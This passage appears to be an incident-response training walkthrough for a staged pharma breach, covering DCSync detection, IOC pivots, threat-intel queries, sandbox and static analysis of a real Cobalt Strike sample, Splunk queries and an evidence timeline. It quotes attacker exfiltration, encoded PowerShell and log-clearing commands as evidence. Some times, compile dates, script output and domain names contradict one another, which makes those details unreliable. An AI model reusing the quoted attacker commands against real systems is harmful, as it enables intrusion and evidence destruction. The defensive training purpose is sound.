🔴 CRITICAL: DCSync — DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
from WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).

# All three DCSync events — domain, krbtgt, Administrator
jq 'select(.EventID == 4662) | {
  time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName
}' windows-security/DC01-security.jsonl

Output:

{"time": "2024-11-06T00:48:33Z", "subject": "svc_backup", "object": "DC=lifetechpharma,DC=local"}
{"time": "2024-11-06T00:48:44Z", "subject": "svc_backup", "object": "CN=krbtgt,CN=Users,DC=..."}
{"time": "2024-11-06T00:48:51Z", "subject": "svc_backup", "object": "CN=Administrator,CN=..."}

krbtgt and Administrator DCSync'd — golden ticket capability obtained. Full domain credential rotation required.

Click windows-security/SERVER-RD-02-security.jsonl:

Ctrl+F → 4663 — file access events. Ctrl+F → 5156 — network connection event.

jq 'select(.EventID == 4663) | .ObjectName' \
  windows-security/SERVER-RD-02-security.jsonl | jq -s 'length'
# → 47  (47 formula files accessed)
jq 'select(.EventID == 5156) | {
  time: .TimeCreated, process: (.Application | split("\\\\") | last),
  src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort
}' windows-security/SERVER-RD-02-security.jsonl
# → PowerShell → 198.51.100.44:443 at 00:14:14Z

Three independent sources — SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) — triangulate to the same 20-second window.

Found IOCs

• Account svc_backup — DCSync actor; source IP 10.10.3.22 (non-DC workstation)
• IP (internal) 10.10.3.22 — WS-IT-LEVI; attacker pivot host issuing DCSync from workstation
• Object krbtgt — DCSync'd at 00:48:44Z; golden ticket capability obtained
• Object Administrator — DCSync'd at 00:48:51Z; full domain compromise
• IP 198.51.100.44:443 — Exfil connection via PowerShell; EID 5156 at 00:14:14Z
• Count 47 formula files — Accessed via EID 4663 in USPartner2024 share

9. Cross-File Pivot — VS Code Global Search

VS Code’s Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds — no SIEM needed for these basic pivots.

Pivot on the exfil IP:

Ctrl+Shift+F → 198.51.100.44:

ngfw-flows.csv           line 12: ...10.10.2.15,198.51.100.44,443,...399481224...
dns-queries.csv          line 10: ...sys-update-cdn.net,A,198.51.100.44...
sql-audit.jsonl          line 4:  ...WebClient.UploadFile...198.51.100.44/recv...
SERVER-RD-02-security    line 23: ..."DestAddress":"198.51.100.44"...

Four files, four hits, one IP. The full exfiltration chain is visible in one search.

Pivot on the compromised account:

Ctrl+Shift+F → svc_backup:

DC01-security.jsonl       lines 7-9:   DCSync events
SERVER-RD-02-security     lines 1-12:  SMB logon + file access + exfil
sql-audit.jsonl           all 6 lines: full xp_cmdshell chain

Pivot on the C2 domain:

Ctrl+Shift+F → telemetry-cdn-services.biz:

dns-queries.csv           lines 12-23: 11 beacon queries (6 from WS-IT-LEVI, 4 from WS-CFO-01, 1 missing)

Pivot on the attacker source IP (AiTM phishing + VPN access):

Ctrl+Shift+F → 185.220.101.47:

azure-ad/signin-p.levi.json          line 18: suspicious sign-in from Istanbul — token replay, no MFA
vpn/anyconnect-2024-10-24.log        line 4:  VPN authentication as p.levi, assigned 10.10.3.22
palo-alto/dns-queries.csv            line 1:  attacker queried vpn.lifetechpharma.com 1 min before login

One IP ties together AiTM credential theft, VPN infiltration, and the recon that preceded it.

The full attack chain — AiTM phishing → VPN access → formula exfiltration → DCSync → CFO infection — is navigable via these four global searches without opening a SIEM:

Search termAttack phase covered185.220.101.47Initial access: AiTM phishing, VPN infiltration, attacker recontelemetry-cdn-services.bizPersistence: C2 beaconing from both infected hostssvc_backupLateral movement: SMB, xp_cmdshell chain, DCSync198.51.100.44Exfiltration: NGFW flow, DNS lookup, SQL upload command, EID 5156

Found IOCs

• IP 198.51.100.44 — Confirmed in 4 files: ngfw-flows, dns-queries, sql-audit, SERVER-RD-02-security
• Account svc_backup — Confirmed in 3 files: DC01-security (DCSync), SERVER-RD-02-security (SMB+exfil), sql-audit (xp_cmdshell)
• Domain telemetry-cdn-services.biz — Confirmed in dns-queries (9 beacons) and VPN log (C2 during session)
• Timestamp 00:13:54Z – 00:14:14Z — 20-second exfil window triangulated across SQL, NGFW, and EID 5156

10. IOC Enrichment — REST Client

Create one .http file that holds every API call. VS Code's REST Client extension puts a Send Request link above each block — click it, the response appears in a split pane on the right. No curl, no terminal, no context switch.

Create the file:

Press Ctrl+N, then Ctrl+Shift+P → Save As → 03-analysis/ioc-queries.http

Paste the following:

### IOC Enrichment — PROJ-2024-001
### Click "Send Request" above any block — response opens in the right pane
### Set keys in VS Code Settings > REST Client > Environment Variables
### or use system env: @VT_KEY = {{$env VT_API_KEY}}

@VT_KEY     = your_virustotal_api_key_here
@SHODAN_KEY = your_shodan_api_key_here

# ── VirusTotal ──────────────────────────────────────────────────────

### VT — Primary C2 IP
GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87
x-apikey: {{VT_KEY}}

###

### VT — Secondary C2 / exfil IP
GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44
x-apikey: {{VT_KEY}}

###

### VT — Attacker VPN source
GET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47
x-apikey: {{VT_KEY}}

###

### VT — Primary C2 domain
GET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.biz
x-apikey: {{VT_KEY}}

###

### VT — AiTM phishing page domain
GET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.com
x-apikey: {{VT_KEY}}

###

### VT — CFO phishing delivery domain
GET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.net
x-apikey: {{VT_KEY}}

###

### VT — svchost32.exe binary hash
GET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e
x-apikey: {{VT_KEY}}

###

### VT — Imphash pivot (find related samples compiled from same source)
GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d
x-apikey: {{VT_KEY}}

# ── Shodan ──────────────────────────────────────────────────────────

### Shodan — Primary C2 IP (ports, services, hosting org)
GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}

###

### Shodan — Exfil IP
GET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}

# ── Certificate Transparency ─────────────────────────────────────────

### crt.sh — Find all domains using certs issued to primary C2 IP
GET https://crt.sh/?q=203.0.113.87&output=json

###

### crt.sh — Cert history for primary C2 domain
GET https://crt.sh/?q=telemetry-cdn-services.biz&output=json

# ── RDAP ────────────────────────────────────────────────────────────

### RDAP — AiTM phishing domain registration date
GET https://rdap.org/domain/mfa-lifetechpharma.com

###

### RDAP — CFO phishing delivery domain
GET https://rdap.org/domain/globalcontracts-secure.net

# ── Passive DNS (no key required) ───────────────────────────────────

### VT Passive DNS — historical resolutions for primary C2 IP (uses existing VT key)
GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87/resolutions
x-apikey: {{VT_KEY}}

###

### VT Passive DNS — historical resolutions for exfil IP
GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44/resolutions
x-apikey: {{VT_KEY}}

###

### RIPEstat — DNS history for primary C2 IP (no key, no rate limit for training)
GET https://stat.ripe.net/data/dns-history/data.json?resource=203.0.113.87

###

### RIPEstat — BGP routing info: ASN, prefix, country for C2 IP
GET https://stat.ripe.net/data/prefix-overview/data.json?resource=203.0.113.87

###

### RIPEstat — BGP routing info for exfil IP
GET https://stat.ripe.net/data/prefix-overview/data.json?resource=198.51.100.44

# ── WHOIS / RDAP (no key required) ──────────────────────────────────

### ARIN RDAP — IP block owner, ASN, abuse contact for C2 IP
GET https://rdap.arin.net/registry/ip/203.0.113.87

###

### ARIN RDAP — IP block owner for exfil IP
GET https://rdap.arin.net/registry/ip/198.51.100.44

###

### ARIN RDAP — IP block owner for attacker VPN source
GET https://rdap.arin.net/registry/ip/185.220.101.47

###

### RDAP — C2 domain registration: registrar, date, registrant
GET https://rdap.org/domain/telemetry-cdn-services.biz

###

### RDAP — Exfil domain registration
GET https://rdap.org/domain/sys-update-cdn.net

Using the response pane:

After clicking Send Request on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to find:

• malicious → "malicious": 12
• tags → ["C2", "malware"]
• as_owner → "Hostwinds LLC"

For the crt.sh response, Ctrl+F → name_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear — new IOCs not yet seen in the org's DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.

Commit the .http file — it is a reproducible audit trail of every enrichment query:

git add 03-analysis/ioc-queries.http
git commit -m "PROJ-2024-001: IOC enrichment queries — VT, Shodan, crt.sh, RDAP"

Found IOCs

• IP 203.0.113.87 — Primary C2; VT: 12 malicious detections, ASN: Hostwinds LLC
• IP 198.51.100.44 — Secondary C2 / exfil endpoint
• IP 185.220.101.47 — Attacker VPN source
• Domain telemetry-cdn-services.biz — Primary C2 domain
• Domain mfa-lifetechpharma.com — AiTM phishing domain; registered 2024-10-18
• Domain globalcontracts-secure.net — CFO phishing delivery domain
• Domain cdn-telemetry-update.biz — New; discovered via crt.sh pivot on C2 IP
• Domain windows-cdn-service.net — New; discovered via crt.sh pivot on C2 IP
• Hash (SHA256) 3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e — svchost32.exe dropper
• Hash (imphash) 3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d — Pivot on VT to find related samples

11. Sandbox Analysis — Submit the Binary

Real Cobalt Strike sample used in Steps 11–12 All IPs, domains, and hashes elsewhere in this walkthrough are synthetic — invented for training and not queryable on threat intel platforms. Steps 11 and 12 are the exception: they use a real Cobalt Strike beacon (trojan.remusstealer/cobalt, 48/75 detections on VirusTotal, SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9) so you can practice sandbox submission and binary analysis against a file with genuine behavior. The C2 IP, HTTP profile, and PE metadata in these two steps reflect the real sample. All other scenario values (log IPs, exfil IPs, domains) remain fictional.

Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training — it is interactive and lets you watch execution in real time.

Submission (ANY.RUN):

1. Navigate to app.any.run → New Task → Upload
2. Upload svchost32.exe (SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9)
3. Environment: Windows 10 x64, User mode (realistic CFO context)
4. Network mode: Real with IDS — this beacon makes live HTTPS connections
5. Timeout: 120 seconds — beacon contacts C2 within the first minute
6. Click Run

Download the report to VS Code:

After execution completes, click Export → JSON in ANY.RUN. Save it as:

03-analysis/sandbox-svchost32-anyrun.json

Open in VS Code: press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to search:

Search term What you find
destination_ip91.211.251.245 — real C2 IP, port 443
urlhttps://91.211.251.245/ga.js — Malleable C2 profile mimicking Google AnalyticsCookieBase64-encoded beacon metadata in the HTTP Cookie header
User-AgentMozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS UA string
ProxyServerBeacon installs proxy settings pointing to C2
long-sleepsVT tag — beacon sleeps between check-ins (configurable interval)

The Cobalt Strike Malleable C2 profile: the beacon GETs /ga.js — a path that mimics Google Analytics JavaScript. The Cookie header carries AES-encrypted metadata (victim hostname, PID, username) base64-encoded. The response body delivers shellcode or tasks. A defender looking only at the URL sees legitimate-looking traffic; the anomaly is the 443 connection to a non-Google IP.

Add the C2 IP to ioc-queries.http and click Send Request on the VT and Shodan blocks to pivot immediately.

Found IOCs

• Hash (SHA256) 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon; 48/75 VT detections
• Hash (MD5) cd59d54a7af500f96aa0347bb5daf077 — same sample
• IP 91.211.251.245:443 — real C2 server; HTTPS; confirmed in sandbox network traffic
• URL https://91.211.251.245/ga.js — Malleable C2 endpoint; mimics Google Analytics
• Indicator Cookie-encoded beacon — AES-encrypted victim metadata in HTTP Cookie header
• Indicator long-sleeps — beacon interval; time between C2 check-ins

12. Static Binary Analysis — Hex Editor + Terminal

Open the binary in VS Code Hex Editor:

In VS Code Explorer, right-click svchost32.exe → Open With → Hex Editor

The file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual — scroll through it and strings like /ga.js and Mozilla/4.0 are readable directly without running strings.

Navigate to the PE timestamp:

Press Ctrl+G → type 3C → Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value, convert to decimal — that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.

For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the right:

python3 -c "
import pefile, datetime, os
pe = pefile.PE('svchost32.exe')
ts = pe.FILE_HEADER.TimeDateStamp
print(f'Compile timestamp : {datetime.datetime.fromtimestamp(ts, datetime.UTC)} UTC')
print(f'File size on disk : {os.path.getsize(\"svchost32.exe\"):,} bytes')
print(f'PE SizeOfImage    : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes')
overlay = os.path.getsize('svchost32.exe') - pe.OPTIONAL_HEADER.SizeOfImage
if overlay > 0:
    print(f'Overlay detected  : {overlay:,} bytes after PE end')
print(f'Architecture      : {\"x64\" if pe.FILE_HEADER.Machine == 0x8664 else \"x86\"}')
"

Output:

Compile timestamp : 2026-05-15 13:55:55 UTC
File size on disk : 783,320 bytes
Overlay detected  : present
Architecture      : x64

The PE timestamp (2026-05-15) is plausible and recent — this binary was freshly compiled, not timestomped. The presence of an overlay (data appended after the PE image end) is a Cobalt Strike loader signature: the encrypted beacon shellcode is stored in the overlay and unpacked at runtime.

Extract C2 strings:

strings -n 8 svchost32.exe | grep -E "(https?://|/ga\.js|Mozilla|Cookie|User-Agent|Cache-Control)"

Output includes:

/ga.js
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)
Cache-Control: no-cache

The /ga.js path and the MSIE 8.0 User-Agent are configuration strings baked into the Cobalt Strike beacon's Malleable C2 profile at compile time. Any sample sharing these exact strings was built from the same profile.

Check imports — Cobalt Strike loaders minimise their import table:

python3 -c "
import pefile
pe = pefile.PE('svchost32.exe')
print(f'Architecture: {hex(pe.FILE_HEADER.Machine)}')
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
    for lib in pe.DIRECTORY_ENTRY_IMPORT:
        fns = [i.name.decode() if i.name else f'ord_{i.ordinal}' for i in lib.imports]
        print(f'{lib.dll.decode()}: {fns}')
else:
    print('No standard import table — uses dynamic API resolution (common in CS loaders)')
"

A Cobalt Strike loader typically has a minimal or absent import table — it resolves APIs at runtime using LoadLibrary/GetProcAddress or custom hash-walking to avoid static analysis. If the import table is empty, that itself is the finding.

Pivot on the Malleable C2 profile strings — search VT for other samples using the same profile:

Add to ioc-queries.http:

### VT — search for samples sharing the same Malleable C2 User-Agent string
GET https://www.virustotal.com/api/v3/intelligence/search?query=content%3A%22MSIE+8.0%22+content%3A%22%2Fga.js%22+type%3Apeexe
x-apikey: {{VT_KEY}}

Found IOCs

• Hash (SHA256) 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon
• Hash (MD5) cd59d54a7af500f96aa0347bb5daf077
• IP 91.211.251.245 — C2 server; confirmed in binary strings and sandbox network traffic
• URL pattern /ga.js — Malleable C2 endpoint; Google Analytics impersonation
• String Mozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS User-Agent; pivot on VT content search
• Indicator Overlay section — encrypted shellcode stored after PE image end; Cobalt Strike loader signature
• Indicator Minimal import table — dynamic API resolution; evades import-based static detection13. Infrastructure Pivot — REST Client + Global Search

13. Infrastructure Pivot — REST Client + Global Search

The ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through them.

For the crt.sh response: press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.

Immediately pivot in VS Code global search:

Press Ctrl+Shift+F, type cdn-telemetry-update:

palo-alto/dns-queries.csv  →  (no results)

Not in the org’s DNS logs — but add both new domains to the IOC list in case they appear in a broader hunt.

For the RDAP response (AiTM domain): Ctrl+F → registration → date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.

Found IOCs

• Domain cdn-telemetry-update.biz — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs
• Domain windows-cdn-service.net — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs
• Date 2024-10-18 — Registration date of mfa-lifetechpharma.com; 4 days before phishing

14. Splunk Correlation (SIEM Validation)

Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:

/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \
  -sourcetype sysmon_json -index endpoint -host WS-CFO-01
/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \
  -sourcetype wineventlog -index wineventlog -host DC01
/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \
  -sourcetype wineventlog -index wineventlog -host SERVER-RD-02
/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \
  -sourcetype pan:traffic -index firewall -host pa-3260
/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \
  -sourcetype pan:dns -index firewall -host pa-3260
/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \
  -sourcetype mssql_audit -index database -host SERVER-RD-02

Query 1 — triage: C2 IPs across all indexes:

index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d
| stats count by host, sourcetype, index
| sort -count

Query 2 — DCSync from non-DC (DET-002 validation):

index=wineventlog EventCode=4662
  ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}"
| where NOT match(IpAddress, "^10\.10\.1\.(10|11)$")
| table _time, host, SubjectUserName, IpAddress, ObjectName, Properties

Query 3 — service account off-hours (DET-003 validation):

index=wineventlog EventCode=4624 LogonType=3
  TargetUserName=svc_backup
| eval hour=strftime(_time, "%H")
| where hour < 6 OR hour > 22
| table _time, host, TargetUserName, IpAddress | sort _time

Query 4 — exfil scope:

index=wineventlog EventCode=4663 ObjectName="*USPartner2024*"
| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, host

Query 5 — full 24-day timeline:

index=* earliest=2024-10-22 latest=2024-11-16
  (host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)
| eval summary=coalesce(Message, Statement, query, CommandLine, "event")
| table _time, host, sourcetype, summary | sort _time

Found IOCs

• IP 203.0.113.87 — SIEM-validated; C2 traffic confirmed across endpoint and network indexes
• IP 198.51.100.44 — SIEM-validated; exfil traffic confirmed across endpoint and network indexes
• Account svc_backup — DET-002: DCSync from 10.10.3.22 (non-DC); DET-003: off-hours logon
• File pattern USPartner2024* (47 files) — DET-004: bulk access by svc_backup on SERVER-RD-02
• Indicator Off-hours logon — EID 4624 / LogonType 3 outside 06:00–22:00 window

Commit all analysis artifacts

git add 03-analysis/
git commit -m "PROJ-2024-001: evidence analysis — VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources"

The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.

Step R2: Timeline — Two Paths, One Actor

1. Open the timeline file

nano 03-analysis/timeline/timeline.md

The template has a header block and a markdown table. Fill the header first:

Project: PROJ-2024-001
Analyst: [your name]
Last updated: 2024-11-15
Time range: 2024-10-18 – 2024-11-15
Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAP

Then add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&CK technique. If you do not have a technique yet, leave it blank and come back — do not skip the label.

2. Add events in chronological order

The timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.

1. 2024–10–18 — External
   lifetechpharma-corp[.]eu registered as a typosquat domain.
   Source: OSINT
   Label: CONFIRMED
   ATT&CK: T1583.001
   Notes: Pre-attack infrastructure preparation.
2. 2024–10–22 11:23 — Exchange
   Phishing email sent to p.levi: “MFA Re-enrollment Required” with AiTM HTML attachment.
   Source: M365 ATP
   Label: CONFIRMED
   ATT&CK: T1566.001
   Notes: ATP SCL=4, delivered; threshold was 5.
3. 2024–10–22 11:31 — WS-IT-LEVI
   Unknown activity — GAP-001 begins.
   Source: — 
   Label: GAP
   ATT&CK: — 
   Notes: Sysmon forwarder stopped.
4. 2024–10–24 02:17 — Azure AD + VPNVPN login as p.levi from Istanbul, Turkey, using hosting/VPS ASN. No MFA challenge recorded. Session lasted 1h 12min.
   Source: Azure AD sign-in
   Label: CONFIRMED
   ATT&CK: T1557, T1133
   Notes: 4:17 AM local time; Paz Levi lives in Rehovot.
5. 2024–10–24 02:19 — DC01
   EID 4624: network logon for svc_backup from WS-IT-LEVI / 10.10.3.22. Service account used outside business hours.
   Source: Windows Security / Splunk
   Label: CONFIRMED
   ATT&CK: T1078.002
   Notes: svc_backup has Domain Admin rights.
6. 2024–10–25 03:41 — SERVER-FIN-01
   svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\.
   Source: File share audit, partial
   Label: CORROBORATED
   ATT&CK: T1039
   Notes: Log incomplete — access timestamp only, not filenames.
7. 2024–11–01 09:14 — WS-IT-LEVI
   GAP-001 ends. First DNS query to telemetry-cdn-services[.]biz resolving to 203.0.113.87. First C2 beacon from this host.
   Source: Palo Alto DNS
   Label: CONFIRMED
   ATT&CK: T1071.001
   Notes: Sysmon service and forwarder restarted at the same time — probable anti-forensics.
8. 2024–11–01 09:18 — SERVER-RD-02
   EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVI.
   Source: Windows Security
   Label: CONFIRMED
   ATT&CK: T1021.002
   Notes: Occurred four minutes after C2 reconnection.
9. 2024–11–06 02:09 — SERVER-RD-02
   EID 4624: svc_backup SMB logon from WS-IT-LEVI.
   Source: Windows Security
   Label: CONFIRMED
   ATT&CK: T1021.002
   Notes: Off-hours access.
10. 2024–11–06 02:10–02:14 — SERVER-RD-02
    EID 4663 ×47: svc_backup accessed all 47 files in \\USPartner2024\\. Read activity occurred and modified timestamps were updated.
    Source: Windows Security
    Label: CONFIRMED
    ATT&CK: T1039
    Notes: Each file was individually accessed; timestamp modification suggests deliberate metadata manipulation.
11. 2024–11–06 02:14 — SERVER-RD-02
    EID 5156: outbound HTTPS from SERVER-RD-02 to external IP over port 443 during the file access window.
    Source: Windows Security + firewall
    Label: CONFIRMED
    ATT&CK: T1041
    Notes: Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44; separate C2 from primary.
12. 2024–11–06 02:48 — DC01
    EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01.
    Source: Windows Security
    Label: CONFIRMED
    ATT&CK: T1003.006
    Notes: DCSync indicator. Pentest scope did not include DCSync. Pentest VLAN is 10.10.99.0/24; this event came from 10.10.3.22.
13. 2024–11–15 17:58 — Exchange
    Phishing email sent to m.cohen, the CFO: “Q4-2024 Licensing Agreement” with .xlsm attachment. SPF, DKIM, and DMARC all failed.
    Source: M365 Message Trace
    Label: CONFIRMED
    ATT&CK: T1566.001
    Notes: Second entry point — 24 days after the first.
14. 2024–11–15 18:42 — WS-CFO-01
    Outlook spawned PowerShell with -NonI -W Hidden -Enc, downloading a second-stage payload from 203.0.113.87.
    Source: CrowdStrike + Sysmon EID 1
    Label: CONFIRMED
    ATT&CK: T1059.001
    Notes: Triggering alert.
15. 2024–11–15 18:46–20:52 — WS-CFO-01
    LSASS memory access observed via Sysmon EID 10 with GrantedAccess 0x1010. Persistence added via Registry Run Key and scheduled task. BITS downloaded a second-stage binary.
    Source: Sysmon EID 10/11/13, EID 4698
    Label: CONFIRMED
    ATT&CK: T1003.001, T1547.001, T1053.005, T1197
    Notes: svchost32.exe dropped to AppData\\Roaming.
16. 2024–11–15 20:52 — SERVER-FIN-01
    WMI lateral movement observed: WmiPrvSE spawned PowerShell with -Enc and a different base64 payload.
    Source: CrowdStrike
    Label: CONFIRMED
    ATT&CK: T1021.003, T1059.001
    Notes: svc_finreport credentials used.
17. 2024–11–15 21:01 — SERVER-FIN-01
    Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\.
    Source: CrowdStrike EID 11
    Label: CONFIRMED
    ATT&CK: T1039, T1560
    Notes: 2.8 MB upload confirmed in firewall logs at 21:14.
18. 2024–11–15 21:14 — WS-CFO-01
    wevtutil.exe cl Security executed, partially clearing the Windows Security log.
    Source: CrowdStrike
    Label: CONFIRMED
    ATT&CK: T1070.001
    Notes: Sysmon log remained intact because it was protected.

The evidence label system matters here. Event 12 (DCSync) is CONFIRMED — it exists in DC01’s Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as “possible pentest activity.” Event 6 (finance server access) is CORROBORATED — single source with incomplete log — and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated fact.

3. Save and commit

git add 03-analysis/timeline/timeline.md
git commit -m "PROJ-2024-001: timeline — 18 events Oct 18–Nov 15, dual-path confirmed, GAP-001 bounds established"

Step R3: Claims Ledger — Every Assertion Traced to Evidence

1. Open the claims ledger

nano 03-analysis/claims/claims-ledger.md

The template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline — then fill each one completely before moving to the next.

For each row, answer these five questions before typing a word:

1. What is the exact assertion? (One sentence, falsifiable — could in principle be proven false)
2. Which file and line number is the evidence in? (Not “we saw in Splunk” — the actual log reference)
3. What confidence level and why? (High / Medium / Low / Insufficient — with explicit rationale)
4. What alternative explanations were considered — and why were they ruled out or left open?
5. Which PIR does this answer?

If you cannot answer question 4, the claim is not ready to write. Think first.

2. Fill in one claim per confirmed technique or PIR answer

The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR.

CL-001 — Initial access via AiTM phishing against IT admin p.levi

• Claim: Initial access was via AiTM phishing against IT admin p.levi on October 22, 2024.
• Evidence: M365 ATP log shows AiTM HTML lure delivered at 11:23 and opened at 11:31. VPN login from Istanbul occurred at 02:17 on October 24 with no MFA challenge, indicating likely stolen session token replay.
• Confidence: High
• Competing Hypotheses: Credential purchase or insider activity cannot be fully ruled out without WS-IT-LEVI disk forensics, which is blocked by legal hold. However, the AiTM lure plus token replay pattern is more parsimonious.
• PIR: PIR-002

CL-002 — Use of svc_backup Domain Admin credentials to access formula files

• Claim: The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula files.
• Evidence: EID 4624 on SERVER-RD-02 shows svc_backup Type 3 logon from WS-IT-LEVI. EID 4663 occurred 47 times on formula files.
• Confidence: High
• Competing Hypotheses: Legitimate backup operation is ruled out because backup jobs run from SERVER-WSUS-01 / 10.10.4.x, not from WS-IT-LEVI. The timestamp, 02:09 UTC, is outside the maintenance window.
• PIR: PIR-002

CL-003 — Exfiltration of 47 formula files on November 6, 2024

• Claim: The 47 formula files in USPartner2024 were exfiltrated on November 6, 2024.
• Evidence: EID 4663 occurred 47 times, showing file access. EID 5156 shows outbound HTTPS from SERVER-RD-02 at the same time. Palo Alto NGFW flow shows 10.10.2.15 → 198.51.100.44:443, with 381 MB outbound between 02:14 and 02:19 UTC.
• Confidence: High
• Competing Hypotheses: File access for indexing or backup is ruled out because no backup job ran at this time. The 381 MB outbound volume matches the compressed formula package. The destination IP is not in the allowlist and resolves to a VPS hosting provider.
• PIR: PIR-001 — ANSWERED: YES

CL-004 — DCSync executed via svc_backup on November 6

• Claim: DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48 UTC.
• Evidence: DC01 EID 4662 shows DS-Replication-Get-Changes GUID from 10.10.3.22, which is WS-IT-LEVI. The subject username was svc_backup.
• Confidence: High
• Competing Hypotheses: Legitimate AD replication is ruled out because the event originated from a workstation IP, not a domain controller. Authorized pentest scope explicitly excluded DCSync and used only 10.10.99.x IPs.
• PIR: PIR-003

CL-005 — CFO path and IT admin path are same threat actor

• Claim: Path A, involving the CFO on November 15, and Path B, involving the IT admin on October 22, are attributable to the same threat actor.
• Evidence: Both svchost32.exe and UpdateHelper.dll share the same fake PE compile timestamp: 2018-04-09. The secondary C2 sys-update-cdn[.]net was hard-coded in the CFO implant and also used in SERVER-RD-02 DNS activity.
• Confidence: High
• Competing Hypotheses: Coincidence would require two separate actors to target the same organization at the same time using a near-identical toolchain. This is extremely implausible.
• PIR: PIR-002

CL-006 — Full domain compromise via DCSync

• Claim: The adversary achieved full domain compromise via DCSync. All Active Directory credentials must be treated as compromised.
• Evidence: CL-004 confirms DCSync activity. svc_backup held Domain Admin rights. DCSync requests included krbtgt and privileged account hashes.
• Confidence: High
• Competing Hypotheses: DCSync may have been partial or failed, but this cannot be confirmed without full DC01 log access. Treating the environment as fully compromised is the conservative and operationally correct response until disproven.
• PIR: PIR-003

CL-003 is the pivotal claim. The US partner’s formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from “contain these three hosts” to “rotate all AD credentials, treat all 80 servers as potentially compromised.”

3. Update project.yml PIR status

When a PIR is answered, open project.yml and change the status field immediately:

nano project.yml

Change:

- id: PIR-001
    status: open

To:

- id: PIR-001
    status: answered    # CL-003 — exfiltration confirmed, 381 MB, Nov 6

